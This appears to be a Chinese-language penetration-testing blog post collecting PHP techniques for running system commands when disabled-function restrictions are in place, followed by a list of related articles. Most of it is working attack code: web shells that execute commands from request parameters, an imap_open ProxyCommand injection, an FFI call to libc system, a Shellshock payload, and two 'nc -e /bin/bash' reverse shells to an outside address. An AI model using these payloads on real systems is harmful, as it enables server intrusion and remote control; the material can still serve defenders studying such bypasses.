WEB渗透Bypass篇-常规函数绕过

常规函数绕过
复制代码
<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
pcntl_exec
复制代码
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux

<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>

test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
imap_open函数
复制代码
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
php7.4 FFI绕过
复制代码
php 7.4
ffi.enable=true

<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>

shellshock

复制代码
存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用

<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
相关推荐
白帽子黑客罗哥2 小时前
不同就业方向(如AI、网络安全、前端开发)的具体学习路径和技能要求是什么?
人工智能·学习·web安全
乾元3 小时前
ISP 级别的异常洪泛检测与防护——大流量事件的 AI 自动识别与响应工程
运维·网络·人工智能·安全·web安全·架构
刘婉晴3 小时前
【Kali 渗透测试】漏洞学习笔记
渗透测试
中科固源8 小时前
面对快手式自动化突袭:如何堵住通讯协议的数字化命门?
安全·网络安全·通讯协议·模糊测试
闲人不梦卿9 小时前
网络安全技术
网络·网络安全
信安大佬10 小时前
2025鹏城杯-whiteout
网络安全
bl4ckpe4ch10 小时前
用可复现实验直观理解 CORS 与 CSRF 的区别与联系
前端·web安全·网络安全·csrf·cors
合天网安实验室10 小时前
从HTML注入到CSRF:一次漏洞组合拳实战
web安全·csrf·漏洞实战·html注入
奋斗者1号10 小时前
MQTT连接失败定位步骤
开发语言·机器学习·网络安全
zhengfei61111 小时前
AI渗透工具——AI驱动的BAS网络安全平台
人工智能·安全·web安全